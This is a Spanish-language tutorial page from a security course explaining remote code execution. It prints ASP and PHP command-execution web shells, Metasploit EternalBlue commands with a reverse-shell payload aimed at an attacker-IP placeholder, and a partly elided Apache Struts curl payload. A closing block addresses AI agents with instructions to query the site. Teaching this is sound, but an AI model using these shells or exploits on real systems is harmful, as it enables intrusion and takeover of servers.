# RCE (Remote Code Execution)

La Ejecución Remota de Código (RCE, por sus siglas en inglés) es una vulnerabilidad crítica que permite a un atacante ejecutar comandos arbitrarios o código en una máquina remota. Esta vulnerabilidad puede surgir debido a errores de programación, malas configuraciones de seguridad, o la explotación de funciones mal implementadas en el software. RCE es una de las vulnerabilidades más peligrosas porque puede llevar al compromiso total del sistema afectado.

## <mark style="color:green;">¿Cómo Funciona RCE?</mark>

RCE ocurre cuando un atacante puede enviar datos a una aplicación vulnerable y lograr que esos datos se interpreten como código ejecutable. Esto puede ser a través de diversas vías como aplicaciones web, servicios de red, aplicaciones de escritorio, etc.

## <mark style="color:green;">RCE en Windows</mark>

### <mark style="color:green;">**Métodos Comunes de Explotación**</mark>

1. <mark style="color:green;">**Inyección de Comandos en Aplicaciones Web**</mark><mark style="color:green;">:</mark> Las aplicaciones web mal configuradas o que no sanitizan correctamente las entradas del usuario pueden ser vulnerables a la inyección de comandos. Por ejemplo, si una aplicación pasa parámetros directamente a la línea de comandos sin validación adecuada.

   **Ejemplo:**

   ```aspnet
   <%
   Dim cmd
   cmd = Request("cmd")
   Set shell = Server.CreateObject("WScript.Shell")
   shell.Run cmd
   %>
   ```

   Si el usuario accede a `http://victima.com/page.asp?cmd=calc.exe`, esto ejecutará `calc.exe` en el servidor.
2. <mark style="color:green;">**Vulnerabilidades en Servicios de Red**</mark><mark style="color:green;">:</mark> Los servicios de red como SMB, RDP, y otros pueden tener vulnerabilidades que permiten la ejecución remota de código. Un ejemplo famoso es la vulnerabilidad EternalBlue que explotó el protocolo SMBv1.
3. <mark style="color:green;">**Exploit de Binarios**</mark><mark style="color:green;">:</mark> Los binarios vulnerables, especialmente aquellos con permisos elevados, pueden ser explotados para ejecutar código arbitrario. Esto puede incluir aplicaciones que procesan archivos de entrada o que interactúan con otras aplicaciones sin las debidas restricciones de seguridad.

### <mark style="color:green;">**Ejemplo Práctico: EternalBlue**</mark>

EternalBlue explotó una vulnerabilidad en SMBv1 para ejecutar código arbitrario en máquinas Windows. Utilizando herramientas como Metasploit, un atacante podría ejecutar el siguiente módulo para explotar esta vulnerabilidad:

**Comandos de Metasploit:**

```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <IP de la víctima>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <IP del atacante>
exploit
```

## <mark style="color:green;">RCE en Linux</mark>

### <mark style="color:green;">**Métodos Comunes de Explotación**</mark>

1. <mark style="color:green;">**Inyección de Comandos en Aplicaciones Web**</mark><mark style="color:green;">:</mark> Similar a Windows, las aplicaciones web en Linux pueden ser vulnerables a la inyección de comandos si no sanitizan correctamente las entradas del usuario.

   **Ejemplo:**

   ```php
   <?php
   $cmd = $_GET['cmd'];
   system($cmd);
   ?>
   ```

   Accediendo a `http://victima.com/page.php?cmd=ls`, esto ejecutará el comando `ls` en el servidor.
2. <mark style="color:green;">**Servicios de Red**</mark><mark style="color:green;">:</mark> Servicios como SSH, FTP, y otros pueden ser explotados si tienen vulnerabilidades que permiten la ejecución remota de código. Por ejemplo, la vulnerabilidad en Apache Struts que permitía la ejecución de comandos arbitrarios a través de peticiones HTTP.
3. <mark style="color:green;">**Explotación de Binarios Setuid**</mark><mark style="color:green;">:</mark> Binarios con el bit setuid activado pueden ser explotados para obtener privilegios elevados y ejecutar código arbitrario. Un ejemplo clásico es la explotación de binarios que no manejan correctamente la entrada del usuario.

## <mark style="color:green;">**Ejemplo Práctico: Apache Struts**</mark>

La vulnerabilidad en Apache Struts permitió a los atacantes ejecutar comandos arbitrarios enviando peticiones HTTP maliciosas.

**Comando de Explotación:**

{% code overflow="wrap" %}

```bash
curl -v -X POST -H "Content-Type: application/xml" --data "<?xml version=\"1.0\" encoding=\"UTF-8\"?><map><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class=\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"><_bytecodes><byte-array>...</byte-array></_bytecodes><_name>...</_name><_class>...</_class><_tfactory>...</_tfactory></value></entry><entry><jdk.nashorn.internal.objects.NativeString><flags>0</flags><value class=\"java.lang.String\">calc</value></jdk.nashorn.internal.objects.NativeString></entry></map>" http://victima.com/struts2-showcase/employee/save
```

{% endcode %}

Este comando puede iniciar la calculadora en la máquina víctima si el servidor Apache Struts es vulnerable.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cppj/fundamentos-en-vulnerabilidades/rce-remote-code-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
